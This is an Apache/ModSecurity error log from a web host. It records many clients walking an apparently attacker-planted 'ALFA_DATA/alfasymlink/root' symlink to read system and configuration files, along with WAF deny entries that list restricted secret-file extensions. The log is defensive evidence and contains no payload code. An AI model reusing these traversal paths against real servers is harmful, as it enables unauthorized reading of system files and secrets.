[Sun Oct 25 16:19:48.486383 2026] [security2:error] [pid 2889344:tid 2889344] [client 168.121.85.218:31504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kZNKX2UxtP-t1n16tJwAAADs"]
[Sun Oct 25 16:19:48.486722 2026] [security2:error] [pid 2889344:tid 2889344] [client 168.121.85.218:31504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kZNKX2UxtP-t1n16tJwAAADs"]
[Sun Oct 25 16:19:50.214085 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 34.192.125.239:49495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:54.240394 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 3.208.146.193:1919] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:58.406987 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 54.197.102.71:61353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/resource4_wc
[Sun Oct 25 16:20:02.218575 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 54.90.244.132:26085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:06.358322 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 184.73.239.35:6906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:14.933434 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 58.10.249.156:5653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_partial
[Sun Oct 25 16:20:17.236223 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 62.164.155.231:60543] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_partial
[Sun Oct 25 16:20:21.212323 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5keT03oOY3EiI_RmqnCgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:20:21.212381 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5keT03oOY3EiI_RmqnCgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:20:21.413005 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 97.180.154.254:55194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_partial
[Sun Oct 25 16:20:22.243743 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 98.82.214.73:24050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:26.208646 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 98.84.184.80:22211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:26.583343 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 102.209.254.57:34062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/free_calls
[Sun Oct 25 16:20:28.902069 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 216.244.66.250:58104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/demouids
[Sun Oct 25 16:20:30.206312 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 50.16.248.61:18233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:32.476080 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 72.135.36.141:53784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/free_calls
[Sun Oct 25 16:20:36.950331 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 152.204.160.63:51972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/free_calls
[Sun Oct 25 16:20:42.153469 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 54.235.172.108:49486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:49.723903 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 213.230.93.70:26077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/hwcache_align
[Sun Oct 25 16:20:54.158539 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 54.197.114.76:50713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:20:57.215815 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 85.208.96.206:11020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/objects_partial
[Sun Oct 25 16:20:58.285609 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 52.2.83.227:43484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:21:00.589126 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 170.254.174.185:6960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/hwcache_align
[Sun Oct 25 16:21:02.341608 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 52.22.64.232:21881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:21:06.285546 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.208.146.193:19610] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:21:15.416562 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5krj03oOY3EiI_RmqnDgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:21:15.416609 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5krj03oOY3EiI_RmqnDgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:21:16.053634 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 85.100.197.140:2202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slab_size
[Sun Oct 25 16:21:18.360106 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 97.165.180.40:42441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objs_per_slab
[Sun Oct 25 16:21:21.285684 2026] [core:error] [pid 2885088:tid 2885088] (13)Permission denied: [client 177.146.184.42:42024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objs_per_slab
[Sun Oct 25 16:21:22.156786 2026] [security2:error] [pid 2887586:tid 2887586] [client 100.29.107.38:15204] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/wakeup/"] [unique_id "at5kwnWAJkvYyuEsFoLIGQAAABc"]
[Sun Oct 25 16:21:22.156840 2026] [security2:error] [pid 2887586:tid 2887586] [client 100.29.107.38:15204] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/wakeup/"] [unique_id "at5kwnWAJkvYyuEsFoLIGQAAABc"]
[Sun Oct 25 16:21:26.418676 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 216.241.132.14:55346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objs_per_slab
[Sun Oct 25 16:21:27.256245 2026] [core:error] [pid 2885088:tid 2885088] (13)Permission denied: [client 216.213.173.213:37447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/destroy_by_rcu
[Sun Oct 25 16:21:29.303347 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 181.41.80.148:43428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/destroy_by_rcu
[Sun Oct 25 16:21:31.636969 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 172.56.161.248:14999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/destroy_by_rcu
[Sun Oct 25 16:21:31.928225 2026] [core:error] [pid 2885088:tid 2885088] (13)Permission denied: [client 186.15.57.61:35580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/hwcache_align
[Sun Oct 25 16:21:33.429096 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 151.240.254.21:47634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/hwcache_align
[Sun Oct 25 16:21:39.876931 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 85.208.96.202:42656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:21:40.252022 2026] [security2:error] [pid 2892941:tid 2892941] [client 172.216.15.21:60938] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k04_6Zws9Q6DNmzOdqAAAAAQ"]
[Sun Oct 25 16:21:40.252414 2026] [security2:error] [pid 2892941:tid 2892941] [client 172.216.15.21:60938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k04_6Zws9Q6DNmzOdqAAAAAQ"]
[Sun Oct 25 16:21:40.252749 2026] [security2:error] [pid 2892941:tid 2892941] [client 172.216.15.21:60938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k04_6Zws9Q6DNmzOdqAAAAAQ"]
[Sun Oct 25 16:21:42.664160 2026] [security2:error] [pid 2885109:tid 2885109] [client 109.76.142.254:51439] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k1oFcUVAO2YtGzyMffwAAAAg"]
[Sun Oct 25 16:21:42.664740 2026] [security2:error] [pid 2885109:tid 2885109] [client 109.76.142.254:51439] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k1oFcUVAO2YtGzyMffwAAAAg"]
[Sun Oct 25 16:21:42.665147 2026] [security2:error] [pid 2885109:tid 2885109] [client 109.76.142.254:51439] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k1oFcUVAO2YtGzyMffwAAAAg"]
[Sun Oct 25 16:21:45.741579 2026] [security2:error] [pid 2889287:tid 2889287] [client 181.94.228.58:53012] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k2WFV96rJYXEkIA1n-QAAABk"]
[Sun Oct 25 16:21:45.742046 2026] [security2:error] [pid 2889287:tid 2889287] [client 181.94.228.58:53012] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k2WFV96rJYXEkIA1n-QAAABk"]
[Sun Oct 25 16:21:45.742334 2026] [security2:error] [pid 2889287:tid 2889287] [client 181.94.228.58:53012] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-mysql.conf"] [unique_id "at5k2WFV96rJYXEkIA1n-QAAABk"]
[Sun Oct 25 16:21:50.152532 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 52.202.52.82:49116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:21:59.330335 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 185.221.255.26:36464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/total_objects
[Sun Oct 25 16:22:01.592488 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 212.146.181.216:57160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/total_objects
[Sun Oct 25 16:22:02.222691 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 185.191.171.5:19842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:06.219516 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 3.212.86.97:9434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:14.230796 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 3.217.171.106:62849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/ucsi_acpi/bind
[Sun Oct 25 16:22:22.167906 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 3.94.40.182:17342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:30.290895 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 23.23.104.107:36726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:37.135214 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 153.51.233.17:55194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPSoftaculous.lock
[Sun Oct 25 16:22:38.145540 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 34.206.193.60:4605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:39.428427 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 86.46.12.33:38517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPSoftaculous.lock
[Sun Oct 25 16:22:39.553711 2026] [core:error] [pid 2893743:tid 2893743] (13)Permission denied: [client 197.221.255.5:32795] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/validate
[Sun Oct 25 16:22:41.145085 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 78.167.95.25:34156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/alloc_calls
[Sun Oct 25 16:22:42.067013 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 178.152.85.142:52412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/validate
[Sun Oct 25 16:22:42.152017 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 54.84.147.79:16395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:22:42.480685 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 87.14.196.81:58025] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPSoftaculous.lock
[Sun Oct 25 16:22:43.128114 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 142.186.21.168:49681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/alloc_calls
[Sun Oct 25 16:22:43.494829 2026] [core:error] [pid 2893743:tid 2893743] (13)Permission denied: [client 71.244.34.83:33611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/validate
[Sun Oct 25 16:22:44.611665 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 151.254.11.90:10198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/alloc_calls
[Sun Oct 25 16:22:46.147560 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 3.232.39.98:40021] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource4
[Sun Oct 25 16:23:10.171016 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 3.223.181.32:24883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:23:30.151709 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 44.196.118.6:14340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/physical_node/remove
[Sun Oct 25 16:23:42.149009 2026] [ssl:error] [pid 2896293:tid 2896293] (70014)End of file found: [client 3.231.193.38:60387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:23:44.640093 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 216.234.215.152:47745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/slabs_cpu_partial
[Sun Oct 25 16:23:50.269277 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 34.224.132.215:15559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:23:50.269486 2026] [security2:error] [pid 2889342:tid 2889342] [client 34.224.132.215:15559] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/ari_enabled"] [unique_id "at5lVvRqe8JFpk4VEd7wdAAAADg"]
[Sun Oct 25 16:23:50.269518 2026] [security2:error] [pid 2889342:tid 2889342] [client 34.224.132.215:15559] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/ari_enabled"] [unique_id "at5lVvRqe8JFpk4VEd7wdAAAADg"]
[Sun Oct 25 16:23:51.415428 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 200.189.14.73:59730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/slabs_cpu_partial
[Sun Oct 25 16:23:54.137822 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 54.204.12.115:34636] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:23:55.394502 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 98.97.3.86:3535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/slabs_cpu_partial
[Sun Oct 25 16:24:02.153188 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 18.209.137.234:43577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:10.730431 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 138.94.103.194:24609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu
[Sun Oct 25 16:24:13.364768 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 2.100.82.187:33501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu
[Sun Oct 25 16:24:14.318879 2026] [ssl:error] [pid 2892942:tid 2892942] (70014)End of file found: [client 54.157.99.244:28947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:14.648235 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 72.51.85.17:41474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/destroy_by_rcu
